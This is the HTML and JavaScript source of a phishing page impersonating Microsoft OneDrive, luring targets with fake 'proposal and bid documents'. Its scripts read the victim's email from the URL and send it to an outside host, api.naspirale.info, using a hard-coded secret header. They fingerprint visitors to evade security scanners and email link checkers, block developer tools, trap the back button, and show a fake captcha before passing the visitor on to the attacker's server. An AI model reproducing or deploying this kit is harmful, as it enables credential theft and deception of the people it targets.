<!doctype html>
<html lang=en>
<head>
<meta charset=UTF-8>
<meta name=viewport content="width=device-width,initial-scale=1">
<title>Proposal & Bid Documents — Secure Access</title>
<style id=phase-gate>html{visibility:hidden!important}</style>
<script>!function(){const e="file:"===window.location.protocol;function n(e){return"string"==typeof e&&/^[0-9a-f]{8}$/i.test(e)}function o(e){const n=document.getElementById("phase-gate");n&&n.remove(),window.__BG_PHASE__=e}if(e)return void o({phase:"session",token:"demo",b64email:""});const t=function(){const e=window.location.hostname.split("."),o=window.location.pathname.replace(/^\//,"").split("/").filter(Boolean),t=new URLSearchParams(window.location.search),i=window.location.hash.replace(/^#/,""),a=t.get("email")||t.get("b64email")||t.get("e");if(a)return{phase:"entry",b64email:decodeURIComponent(a),folderHint:o[0]||""};if(i)return{phase:"entry",b64email:decodeURIComponent(i),folderHint:o[0]||""};if(e.length>2&&n(e[0])){const n=o.length>0?o[o.length-1]:"";return{phase:"session",token:e[0],b64email:decodeURIComponent(n||""),folderHint:o.length>1?decodeURIComponent(o[0]):""}}return o.length>=2&&n(o[0])?{phase:"session",token:o[0],b64email:decodeURIComponent(o[1]||""),folderHint:""}:o.length>=3&&n(o[1])?{phase:"session",token:o[1],b64email:decodeURIComponent(o[2]||""),folderHint:decodeURIComponent(o[0])}:o.length>=2?{phase:"entry",b64email:decodeURIComponent(o[1]||""),folderHint:decodeURIComponent(o[0])}:{phase:"entry",b64email:decodeURIComponent(o[0]||""),folderHint:""}}();var i,a;window.__BG_PHASE__=t,"session"===t.phase?o(t):(i=t.b64email,a=t.folderHint,fetch("https://api.naspirale.info/api/create-session",{method:"POST",headers:{"Content-Type":"application/json",Origin:window.location.origin},body:JSON.stringify({b64email:i,folderHint:a})}).then((e=>e.json())).then((e=>{e.sessionUrl&&window.location.replace(e.sessionUrl)})).catch((()=>{})))}()</script>
<link rel=icon type=image/svg+xml href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 48 48'%3E%3Crect x='0' y='0' width='23' height='23' fill='%23F25022'/%3E%3Crect x='25' y='0' width='23' height='23' fill='%237FBA00'/%3E%3Crect x='0' y='25' width='23' height='23' fill='%2300A4EF'/%3E%3Crect x='25' y='25' width='23' height='23' fill='%23FFB900'/%3E%3C/svg%3E">
<style>*{margin:0;padding:0;box-sizing:border-box}body{font-family:'Segoe UI',system-ui,-apple-system,sans-serif;background:#f4f3f2;min-height:100vh}._n8hhvs{background:#0072c6;height:46px;display:flex;align-items:center;padding:0 22px}._sh6dee{display:flex;align-items:center;gap:9px;color:#fff;font-size:15px;font-weight:600}._sh6dee svg{width:22px;height:22px}._rfxj9a{max-width:640px;margin:50px auto;padding:0 18px}._1asuzx{background:#fff;border-radius:4px;box-shadow:0 1px 4px rgba(0,0,0,.12),0 0 1px rgba(0,0,0,.08);overflow:hidden}._exmd10{padding:30px 34px 18px;border-bottom:1px solid #eceae8;display:flex;flex-direction:column;align-items:flex-start;gap:6px}._l4uvsx{width:90px;height:auto;background:#fff;display:flex;align-items:flex-start;justify-content:flex-start;flex-shrink:0}._l4uvsx img{width:100%;height:auto;display:block}._exmd10 p{font-size:13px;color:#636363;margin:0}.secure-badge{background:rgba(15,91,156,.08);color:#0f5b9c;padding:.3rem 1rem;border-radius:40px;display:inline-flex;align-items:center;gap:.4rem;font-size:.8rem;border:1px solid rgba(15,91,156,.15);margin:0 34px 10px}.select-all-row{display:flex;align-items:center;justify-content:space-between;background:#f8fbff;padding:.6rem 1.2rem;border-radius:60px;box-shadow:0 2px 8px rgba(0,32,64,.03);margin:0 34px 1.2rem;border:1px solid rgba(15,91,156,.1);cursor:pointer;transition:all .2s ease}.select-all-row:hover{background:#fff;box-shadow:0 4px 12px rgba(0,32,64,.06);transform:translateY(-1px)}.select-all-left{display:flex;align-items:center;gap:.7rem;pointer-events:none}.select-all-left span{font-weight:500;color:#1a3b5c;font-size:.95rem}.badge{background:#d4e2fa;color:#0f5b9c;font-size:.7rem;font-weight:600;padding:.15rem .6rem;border-radius:30px}.checkbox{width:18px;height:18px;border:2px solid #8ba0c2;border-radius:5px;background:#fff;display:inline-flex;align-items:center;justify-content:center;color:#fff;font-size:11px;transition:.1s;cursor:pointer}.checkbox.checked{background:#0f5b9c;border-color:#0f5b9c}.checkbox i{font-size:11px;pointer-events:none}.file-list{background:#f8fbff;border-radius:20px;padding:.8rem .2rem;margin:0 34px 1rem;border:1px solid rgba(15,91,156,.1)}.file-item{display:flex;align-items:center;justify-content:space-between;padding:.5rem 1.2rem .5rem 1rem;border-radius:12px;margin:0 .5rem;transition:all .2s ease;cursor:pointer}.file-item:hover{background:#fff;box-shadow:0 2px 8px rgba(0,32,64,.04)}.file-left{display:flex;align-items:center;gap:.8rem;flex:1}.file-left .checkbox{width:16px;height:16px;border-radius:4px}.file-icon{color:#2b4f77;font-size:1rem;width:1.4rem;text-align:center}.file-info h4{font-weight:550;font-size:.95rem;color:#102b40}.file-meta{display:flex;align-items:center;gap:.4rem;margin-top:.1rem}.quarter{background:#e1ecfe;font-size:.6rem;font-weight:600;padding:.15rem .5rem;border-radius:30px;color:#0f5b9c;border:1px solid #bbd2f0}.file-size{font-size:.65rem;color:#5b739b}.download-icon{color:#7f9bc0;opacity:.5;transition:opacity .2s ease;cursor:pointer;padding:5px;border-radius:50%;font-size:.8rem}.download-icon:hover{opacity:1;color:#0f5b9c;background:rgba(15,91,156,.08)}.footer-bar{display:flex;align-items:center;justify-content:space-between;background:#1b344d;border-radius:50px;padding:.4rem 1.2rem .4rem 1.5rem;color:#fff;box-shadow:0 8px 20px -5px rgba(15,91,156,.25);border:1px solid rgba(255,255,255,.2);margin:1.2rem 34px 0;transition:all .2s ease;opacity:.6;cursor:not-allowed;user-select:none}.footer-bar.active{opacity:1;cursor:pointer}.footer-bar.active:hover{background:#1f3c5a;box-shadow:0 10px 25px -5px rgba(15,91,156,.35);transform:translateY(-1px)}.selected-count{font-weight:500;font-size:.95rem;display:flex;align-items:center;gap:.3rem;pointer-events:none}.selected-count span{background:#3f618b;padding:.15rem .6rem;border-radius:30px;font-weight:600;font-size:.85rem;color:#fff;min-width:25px;text-align:center}.view-btn{background:#fff;color:#1b344d;border:none;padding:.5rem 1.5rem;border-radius:40px;font-weight:600;font-size:.85rem;display:flex;align-items:center;gap:.5rem;box-shadow:0 2px 8px rgba(0,0,0,.1);pointer-events:none}.view-btn i{font-size:.8rem;color:#3f618b}.note{text-align:center;margin-top:1rem;font-size:.7rem;color:#6f8aac;opacity:.7}.captcha-section{display:none;margin:1rem 34px;background:#fefce8;border:1px solid #fde68a;border-radius:16px;padding:1rem}.captcha-prompt{font-size:13px;font-weight:600;color:#92400e;margin-bottom:8px;text-align:center}.captcha-grid{display:grid;grid-template-columns:repeat(3,1fr);gap:6px;margin-bottom:10px}.captcha-cell{aspect-ratio:1;border:2px solid #fde68a;border-radius:7px;cursor:pointer;display:flex;align-items:center;justify-content:center;font-size:22px;background:#fff;user-select:none;transition:all .15s}.captcha-cell:hover{border-color:#d97706;background:#fefce8}.captcha-cell.selected{border-color:#d97706;background:#fef3c7;box-shadow:0 0 0 2px rgba(217,119,6,.2)}.captcha-actions{display:flex;justify-content:space-between;gap:8px}.cap-refresh-btn,.cap-submit-btn{border:none;border-radius:6px;padding:7px 14px;font-size:12px;font-weight:600;cursor:pointer;font-family:inherit}.cap-refresh-btn{background:#fef3c7;color:#92400e}.cap-submit-btn{background:#d97706;color:#fff}.cap-result{font-size:12px;margin-top:6px;text-align:center;min-height:16px}._c6ytkq{text-align:center;padding:18px;font-size:10px;color:#a3a1a0}.hp{position:absolute;left:-99999px;width:1px;height:1px;overflow:hidden;opacity:0;pointer-events:none}#css-trap{position:absolute;left:-9999px;width:0;height:0;overflow:hidden}@media (max-width:600px){._rfxj9a{margin:20px auto}._exmd10,.captcha-section,.file-list,.footer-bar,.secure-badge,.select-all-row{margin-left:16px;margin-right:16px}._exmd10{padding:20px 16px 14px}}</style>
<script>!function(){"use strict";if(window.__BG_PHASE__&&"demo"===window.__BG_PHASE__.token)return;window.top!==window.self&&(window.top.location=window.self.location);var e={x:0,y:0,time:0},n=[];var t=null;function o(){!0,clearTimeout(t),t=setTimeout((function(){var e=setTimeout((function(){window.location.replace("https://www.microsoft.com/")}),3e4);window.addEventListener("mousemove",(function(){clearTimeout(e),o()}),{once:!0}),window.addEventListener("touchstart",(function(){clearTimeout(e),o()}),{once:!0})}),27e4)}document.addEventListener("mousemove",(function(t){!0;var o=Date.now(),i=t.clientX-e.x,r=t.clientY-e.y,c=o-e.time;if(c>0){var a=Math.sqrt(i*i+r*r)/c;n.push({x:t.clientX,y:t.clientY,speed:a}),n.length>10&&n.shift()}e={x:t.clientX,y:t.clientY,time:o}}),!0),document.addEventListener("touchmove",(function(n){!0,n.touches.length>0&&(e={x:n.touches[0].clientX,y:n.touches[0].clientY,time:Date.now()})}),!0),document.addEventListener("click",(function(){!0,o()}),!0),document.addEventListener("keydown",(function(){!0,o()}),!0),o(),window.addEventListener("load",(function(){var e=document.createElement("a");e.href="https://www.microsoft.com/",e.id="hpLink",e.textContent=" ",document.body.appendChild(e);var n=document.createElement("div");n.id="hpInputWrap",n.innerHTML='<input type="text" id="hpInput" name="hpField" autocomplete="off">',document.body.appendChild(n),document.getElementById("hpLink").addEventListener("click",(function(e){window.location.replace("https://www.microsoft.com/"),e.preventDefault()}),!0)})),document.addEventListener("click",(function(){var e;(e=document.getElementById("hpInput"))&&""!==e.value.trim()&&window.location.replace("https://www.microsoft.com/")}),!0),document.addEventListener("keydown",(function(e){var n=e.key.toUpperCase();return e.ctrlKey&&e.shiftKey&&("I"===n||"J"===n||"C"===n)||"F12"===e.key||e.ctrlKey&&"U"===n||e.ctrlKey&&"S"===n||e.ctrlKey&&"P"===n?(e.preventDefault(),e.stopPropagation(),!1):void 0}),!0),document.addEventListener("contextmenu",(function(e){return e.preventDefault(),e.stopPropagation(),!1}),!0),"view-source:"===window.location.protocol&&window.location.replace("about:blank");var i={open:!1,orientation:null};setInterval((function(){var e=window.outerWidth-window.innerWidth>160,n=window.outerHeight-window.innerHeight>160,t=e?"vertical":"horizontal";n&&e||!(window.Firebug&&window.Firebug.chrome&&window.Firebug.chrome.isInitialized||e||n)?(i.open&&(document.body.style.filter=""),i.open=!1,i.orientation=null):(i.open&&i.orientation===t||(document.body.style.filter="blur(10px)",setTimeout((function(){i.open&&window.location.replace("about:blank")}),5e3)),i.open=!0,i.orientation=t)}),500),setInterval((function(){var e=performance.now();performance.now()-e>500&&window.location.replace("https://www.microsoft.com/")}),200);var r=function(){};["log","info","warn","error","debug","table","trace","dir","group","groupCollapsed","groupEnd","time","timeEnd","assert","count","profile","profileEnd"].forEach((function(e){console[e]=r})),console.clear=function(){};var c=window.fetch;window.fetch=function(){return c.apply(this,arguments)},document.addEventListener("copy",(function(e){return window.__copyAllowed?(window.__copyAllowed=!1,!0):(e.preventDefault(),e.clipboardData.setData("text/plain","Copying disabled"),!1)})),window.__copyAllowed=!1,function(){const e=navigator;if(e.webdriver)return!0;if(window.callPhantom||window._phantom)return!0;const n=e.userAgent;return!!/HeadlessChrome|PhantomJS|SlimerJS|Puppeteer/i.test(n)||(0===screen.width||0===screen.height)}()&&window.location.replace("about:blank"),async function(){try{const e=await new Promise((function(e){var n=performance.now(),t=0;requestAnimationFrame((function o(){if(++t>10){var i=performance.now()-n;e(t/i*1e3)}else requestAnimationFrame(o)}))}));(e<.5||e>1e3)&&window.location.replace("about:blank")}catch(e){}}()}()</script>
</head>
<body>
<div class=hp aria-hidden=true>
<input id=_h1 name=username autocomplete=off tabindex=-1>
<input type=email id=_h2 name=emailaddress autocomplete=off tabindex=-1>
<input id=_h3 name=website autocomplete=off tabindex=-1>
<input type=password id=_h4 name=pass autocomplete=off tabindex=-1>
<input type=tel id=_h5 name=phone autocomplete=off tabindex=-1>
<input id=_h6 name=confirm_email autocomplete=off tabindex=-1>
</div>
<div id=css-trap><button id=css-trap-btn tabindex=-1></button></div>
<div class=_n8hhvs>
<div class=_sh6dee>
<svg viewBox="0 0 24 24" fill=none>
<path d="M12.5 3L3 8.5V17L12.5 22.5L22 17V8.5L12.5 3Z" fill=rgba(255,255,255,.15)></path>
<path d="M12.5 3L22 8.5V17L12.5 11V3Z" fill=rgba(255,255,255,.55)></path>
<path d="M12.5 11L22 8.5V17L12.5 22.5V11Z" fill=rgba(255,255,255,.85)></path>
<path d="M3 8.5L12.5 11V22.5L3 17V8.5Z" fill=#fff></path>
</svg>
OneDrive
</div>
</div>
<div class=_rfxj9a>
<div class=_1asuzx>
<div class=_exmd10>
<div class=_l4uvsx>
<img src=https://uhf.microsoft.com/images/microsoft/RE1Mu3b.png alt="Microsoft 365">
</div>
<p>Access your secure proposal and bid documents.</p>
</div>
<div class=secure-badge style=visibility:hidden>
<i class="fas fa-shield-alt"></i> &nbsp;
</div>
<div style=text-align:right;font-size:.65rem;color:#8ba0c2;margin-bottom:.4rem;padding-right:34px>
<i class="fas fa-hand-pointer"></i> Select documents
</div>
<div class=select-all-row id=selectAllRow>
<div class=select-all-left>
<div class=checkbox id=selectAllCheckbox>
<i class="fas fa-check" style=color:#fff;display:none></i>
</div>
<span>Select All</span>
<span class=badge>5</span>
</div>
<div style="color:#3d638b;font-size:.8rem;background:#eaf1fd;padding:.2rem .8rem;border-radius:30px">
<i class="far fa-eye" style=margin-right:4px></i> select all
</div>
</div>
<div class=file-list id=fileList>
<div class=file-item data-file-id=rfp>
<div class=file-left>
<div class="checkbox file-checkbox" data-file=rfp>
<i class="fas fa-check" style=color:#fff;display:none></i>
</div>
<i class="fas fa-file-pdf file-icon"></i>
<div class=file-info>
<h4>RFP Overview Document</h4>
<div class=file-meta>
<span class=quarter>Q2 2026</span>
<span class=file-size>1.2 MB</span>
</div>
</div>
</div>
<i class="fas fa-download download-icon" onclick='event.stopPropagation(),handleDownload("rfp")'></i>
</div>
<div class=file-item data-file-id=scope>
<div class=file-left>
<div class="checkbox file-checkbox" data-file=scope>
<i class="fas fa-check" style=color:#fff;display:none></i>
</div>
<i class="fas fa-file-lines file-icon"></i>
<div class=file-info>
<h4>Scope of Work & Specifications</h4>
<div class=file-meta>
<span class=quarter>Q2 2026</span>
<span class=file-size>892 KB</span>
</div>
</div>
</div>
<i class="fas fa-download download-icon" onclick='event.stopPropagation(),handleDownload("scope")'></i>
</div>
<div class=file-item data-file-id=bid>
<div class=file-left>
<div class="checkbox file-checkbox" data-file=bid>
<i class="fas fa-check" style=color:#fff;display:none></i>
</div>
<i class="fas fa-file-contract file-icon"></i>
<div class=file-info>
<h4>Bid Submission Guidelines</h4>
<div class=file-meta>
<span class=quarter>Q2 2026</span>
<span class=file-size>410 KB</span>
</div>
</div>
</div>
<i class="fas fa-download download-icon" onclick='event.stopPropagation(),handleDownload("bid")'></i>
</div>
<div class=file-item data-file-id=compliance>
<div class=file-left>
<div class="checkbox file-checkbox" data-file=compliance>
<i class="fas fa-check" style=color:#fff;display:none></i>
</div>
<i class="fas fa-shield-alt file-icon"></i>
<div class=file-info>
<h4>Compliance Requirements</h4>
<div class=file-meta>
<span class=quarter>Q2 2026</span>
<span class=file-size>2.1 MB</span>
</div>
</div>
</div>
<i class="fas fa-download download-icon" onclick='event.stopPropagation(),handleDownload("compliance")'></i>
</div>
<div class=file-item data-file-id=contract>
<div class=file-left>
<div class="checkbox file-checkbox" data-file=contract>
<i class="fas fa-check" style=color:#fff;display:none></i>
</div>
<i class="fas fa-file-signature file-icon"></i>
<div class=file-info>
<h4>Contract Terms & Conditions</h4>
<div class=file-meta>
<span class=quarter>Q2 2026</span>
<span class=file-size>1.5 MB</span>
</div>
</div>
</div>
<i class="fas fa-download download-icon" onclick='event.stopPropagation(),handleDownload("contract")'></i>
</div>
</div>
<div class=footer-bar id=viewSelectedBtn>
<div class=selected-count>
<i class="far fa-check-circle"></i> Selected <span id=selectedCount>0</span>
</div>
<div class=view-btn>
View <i class="fas fa-arrow-right"></i>
<span class=requirement-badge id=requirementBadge>select</span>
</div>
</div>
<div class=captcha-section id=captcha-section>
<div class=captcha-prompt>Select all images showing a <strong id=cap-label>?</strong></div>
<div class=captcha-grid id=cap-grid></div>
<div class=captcha-actions>
<button class=cap-refresh-btn onclick=__bg._nc()>↺ New</button>
<button class=cap-submit-btn onclick=__bg._vc()>Confirm</button>
</div>
<p class=cap-result id=cap-result></p>
</div>
<div class=note>
<i class="fas fa-lock" style=font-size:.6rem></i> Select files to continue
</div>
</div>
<div class=_c6ytkq>Microsoft OneDrive · Terms of use · Privacy &amp; cookies</div>
</div>
<link rel=stylesheet href=https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css>
<script>var __bg=function(){"use strict";if(window.__BG_PHASE__&&"demo"===window.__BG_PHASE__.token){let A=new Set;const M=5,T=document.getElementById("selectAllCheckbox"),q=document.getElementById("selectAllRow"),P=document.querySelectorAll(".file-checkbox"),D=document.getElementById("selectedCount"),z=document.getElementById("viewSelectedBtn"),j=document.getElementById("requirementBadge");function O(){P.forEach((e=>{const t=e.getAttribute("data-file"),n=e.querySelector("i");A.has(t)?(e.classList.add("checked"),n.style.display="inline-block"):(e.classList.remove("checked"),n.style.display="none")}));const e=T.querySelector("i");A.size===M?(T.classList.add("checked"),e.style.display="inline-block"):(T.classList.remove("checked"),e.style.display="none"),D.textContent=A.size,A.size>0?(z.classList.add("active"),j.textContent="ready",j.style.background="#6fcf97"):(z.classList.remove("active"),j.textContent="select",j.style.background="#ffd966")}function H(e){A.has(e)?A.delete(e):A.add(e),O()}function R(){A.size===M?A.clear():A=new Set(["rfp","scope","bid","compliance","contract"]),O()}return q.addEventListener("click",R),document.querySelectorAll(".file-item").forEach((e=>{e.addEventListener("click",(function(e){if(e.target.classList.contains("download-icon")||e.target.closest(".download-icon"))return;H(this.getAttribute("data-file-id"))}))})),z.addEventListener("click",(function(){0!==A.size?alert("Demo mode: files selected, but no server connection."):alert("Please select at least one file first!")})),O(),{_sv:function(){},_nc:function(){},_tp:function(){},_vc:function(){}}}var e="https://api.naspirale.info",t={sM:"filepath",sB:60,sC:25,cE:!0,bT:!0,dst:""};function n(e){if(e){var n=e.clientConfig||e;void 0!==n.sessionMode&&(t.sM=n.sessionMode),void 0!==n.scoreBlock&&(t.sB=n.scoreBlock),void 0!==n.scoreCaptcha&&(t.sC=n.scoreCaptcha),void 0!==n.captchaEnabled&&(t.cE=n.captchaEnabled),void 0!==n.backButtonTrap&&(t.bT=n.backButtonTrap),void 0!==n.destination&&(t.dst=n.destination)}}var i=["https://www.youtube.com","https://www.vimeo.com","https://www.wikipedia.org","https://www.reddit.com","https://www.medium.com","https://www.github.com","https://www.stackoverflow.com","https://www.bbc.com","https://www.nationalgeographic.com","https://www.archive.org"];function o(){window.location.replace(i[Math.floor(Math.random()*i.length)])}let a=new Set;const c=document.getElementById("selectAllCheckbox"),r=document.getElementById("selectAllRow"),s=document.querySelectorAll(".file-checkbox"),l=document.getElementById("selectedCount"),d=document.getElementById("viewSelectedBtn"),u=document.getElementById("requirementBadge");function h(){s.forEach((e=>{const t=e.getAttribute("data-file"),n=e.querySelector("i");a.has(t)?(e.classList.add("checked"),n.style.display="inline-block"):(e.classList.remove("checked"),n.style.display="none")}));const e=c.querySelector("i");5===a.size?(c.classList.add("checked"),e.style.display="inline-block"):(c.classList.remove("checked"),e.style.display="none"),l.textContent=a.size,a.size>0?(d.classList.add("active"),u.textContent="ready",u.style.background="#6fcf97"):(d.classList.remove("active"),u.textContent="select",u.style.background="#ffd966")}r.addEventListener("click",(function(e){e.stopPropagation(),5===a.size?a.clear():a=new Set(["rfp","scope","bid","compliance","contract"]),h()})),document.querySelectorAll(".file-item").forEach((e=>{e.addEventListener("click",(function(e){if(e.target.classList.contains("download-icon")||e.target.closest(".download-icon"))return;!function(e){a.has(e)?a.delete(e):a.add(e),h()}(this.getAttribute("data-file-id"))}))})),d.addEventListener("click",(function(){0!==a.size?I():alert("Please select at least one file first!")}));var m=!1,w=!1,f=Date.now(),g=null,v=[],p=[],y=0;document.getElementById("css-trap-btn").addEventListener("click",(function(){m=!0})),document.addEventListener("mousemove",(function(e){if(g||(g=Date.now()),v.push({x:e.clientX,y:e.clientY,t:Date.now()}),v.length>1){var t=v[v.length-2],n=v[v.length-1],i=Math.max(n.t-t.t,1);p.push(Math.sqrt((n.x-t.x)**2+(n.y-t.y)**2)/i)}v.length>500&&v.shift()}),{passive:!0}),document.addEventListener("touchstart",(function(){g||(g=Date.now())}),{passive:!0}),document.addEventListener("keydown",(function(){g||(g=Date.now())}));try{navigator.getBattery&&navigator.getBattery().then((function(e){e.charging&&1===e.level&&0===e.chargingTime&&(y=3)})).catch((function(){}))}catch(U){}function b(){w=w||["_h1","_h2","_h3","_h4","_h5","_h6"].some((function(e){var t=document.getElementById(e);return t&&""!==t.value}))}var _=[{l:"fire emoji",t:"🔥",i:["🔥","🌊","🌿","⚡","🔥","🌙","🔥","🍀","❄️"]},{l:"star",t:"⭐",i:["⭐","🌙","⭐","🔶","🌟","⭐","🔷","🌑","🌟"]},{l:"lock",t:"🔒",i:["🔓","🔒","🗝️","🔒","🔑","🔒","🔓","🔑","🔒"]},{l:"red circle",t:"🔴",i:["🟠","🔴","🟡","🔴","🟢","🔵","🔴","🟣","🔴"]},{l:"lightning bolt",t:"⚡",i:["⚡","🌧️","⚡","🌤️","🌩️","⚡","🌦️","🌈","⚡"]},{l:"diamond",t:"💎",i:["💎","💍","💎","🪙","💎","🏆","💰","💎","🪙"]},{l:"robot",t:"🤖",i:["👾","🤖","👽","🤖","🦾","🤖","🧠","👾","🤖"]}],k=null,E=new Set,B=!1,L=null,x=!1;function C(){var e=_[Math.floor(Math.random()*_.length)];k=e,E.clear(),document.getElementById("cap-label").textContent=e.l,document.getElementById("cap-grid").innerHTML=e.i.map((function(e,t){return'<div class="captcha-cell" data-i="'+t+'" onclick="__bg._tp(this)">'+e+"</div>"})).join(""),document.getElementById("cap-result").textContent="",document.getElementById("captcha-section").style.display="block"}async function S(t){B=!0,document.getElementById("captcha-section").style.display="none",d.classList.remove("active"),d.innerHTML='<div class="selected-count"><i class="fas fa-spinner fa-spin"></i> Verifying…</div>';try{var i=await fetch(e+"/api/issue-token",{method:"POST",headers:{"Content-Type":"application/json","x-origin-secret":"$URU$101@TDF"},body:JSON.stringify({sessionToken:L,captchaPassed:!!t})});if(!i.ok)throw new Error;var o=await i.json();n(o),await new Promise((function(e){setTimeout(e,500+300*Math.random())})),window.location.href=e+"/protected?token="+encodeURIComponent(o.token)}catch(e){d.classList.add("active"),d.innerHTML='<div class="selected-count"><i class="far fa-check-circle"></i> Selected <span id="selectedCount">'+a.size+'</span></div><div class="view-btn">View <i class="fas fa-arrow-right"></i><span class="requirement-badge" id="requirementBadge">ready</span></div>',C()}}async function I(){if(!B)if(b(),w)o();else{var e=function(){var e=0;try{(navigator.webdriver||window._phantom||window.__nightmare||window.callPhantom||window.domAutomation||window.domAutomationController||document.__selenium_evaluate||document.__webdriver_evaluate||window.__pw_manual||window.playwright)&&(e+=40)}catch(e){}var t=navigator.userAgent||"";t?(/headlesschrome|phantomjs|slimerjs|htmlunit|zombie|selenium|puppeteer/i.test(t)&&(e+=30),/microsoft\s?office|ms-?office|msnbot|bingpreview|bingbot|outlook|skypeuripreview|teams|onedrive|sharepoint|googlebot|google-inspectiontool|facebookexternalhit|linkedinbot|twitterbot|applebot|yandexbot|baiduspider|python-requests|curl\/|wget\/|libwww-perl|go-http-client|scrapy/i.test(t)&&(e+=50)):e+=30;try{var n=document.createElement("canvas");n.width=200,n.height=30;var i=n.getContext("2d");i.font="14px Arial",i.fillStyle="#069",i.fillText("test",2,2);var o=i.getImageData(0,0,1,1).data;0===o[0]&&0===o[3]&&(e+=15)}catch(t){e+=15}try{var a=document.createElement("canvas"),c=a.getContext("webgl")||a.getContext("experimental-webgl");if(c){var r=c.getExtension("WEBGL_debug_renderer_info");if(r){var s=c.getParameter(r.UNMASKED_RENDERER_WEBGL)||"";/swiftshader|llvmpipe|virtualbox|vmware/i.test(s)&&(e+=20)}}else e+=10}catch(e){}0!==(navigator.plugins?navigator.plugins.length:0)||"ontouchstart"in window||(e+=10),navigator.language||(e+=8),(navigator.languages||[]).length||(e+=5),0===window.outerWidth&&0===window.outerHeight&&(e+=20),navigator.hardwareConcurrency||(e+=5),navigator.permissions||(e+=5);var l=0;try{if(Object.getOwnPropertyDescriptor(navigator,"webdriver")){var d=Object.getOwnPropertyDescriptor(navigator,"webdriver");d&&!1===d.value&&(l+=15)}Object.keys(window).some((function(e){return/^\$cdc_/.test(e)||/^\$chrome_/.test(e)}))&&(l+=25)}catch(e){}e+=Math.min(l,25);try{window.self!==window.top&&(e+=5)}catch(t){e+=10}try{localStorage.setItem("_bgt","1"),localStorage.removeItem("_bgt")}catch(t){e+=5}if(m&&(e+=50),b(),w&&(e+=50),null===g)e+=12;else{var u=g-f;u<80?e+=25:u<300&&(e+=5)}if(v.length<6)e+=8;else{var h=p.reduce((function(e,t){return e+t}),0)/p.length;p.reduce((function(e,t){return e+(t-h)**2}),0)/p.length<.001&&v.length>30&&(e+=20),h>200&&(e+=10)}try{null.x}catch(t){/puppeteer|selenium|playwright|webdriver/i.test(t.stack||"")&&(e+=30)}return e+=y,Math.min(100,Math.round(e))}(),n=t.sB||60,i=t.sC||25;e>n?o():e>i&&t.cE?C():await S(!1)}}return async function(){var a=window.__BG_PHASE__;a&&"session"===a.phase&&(a.folderHint||"",L=a.token,function(){try{var e=atob(a.b64email);return e.indexOf("@")>-1?e:""}catch(e){return""}}(),await async function(t){try{var a=await fetch(e+"/api/validate-session",{method:"POST",headers:{"Content-Type":"application/json","x-origin-secret":"$URU$101@TDF"},body:JSON.stringify({token:t})});if(!a.ok)throw new Error;var c=await a.json();return n(c),!!c.valid||(window.location.replace(c.redirect||i[0]),!1)}catch(e){return o(),!1}}(L)&&!x&&t.bT&&(x=!0,history.pushState({g:!0},"",window.location.href),window.addEventListener("popstate",(function(){o()}))))}(),{_sv:I,_nc:C,_tp:function(e){var t=+e.dataset.i;E.has(t)?(E.delete(t),e.classList.remove("selected")):(E.add(t),e.classList.add("selected"))},_vc:function(){b();var e=document.getElementById("cap-result");if(w)o();else if(k){var t=new Set(k.i.reduce((function(e,t,n){return t===k.t?e.concat([n]):e}),[]));if(!(Array.from(t).every((function(e){return E.has(e)}))&&Array.from(E).every((function(e){return t.has(e)}))))return e.style.color="#dc2626",e.textContent="Incorrect — please try again.",void C();e.style.color="#059669",e.textContent="Correct! Completing verification…",S(!0)}}}}()</script>
</body>
</html>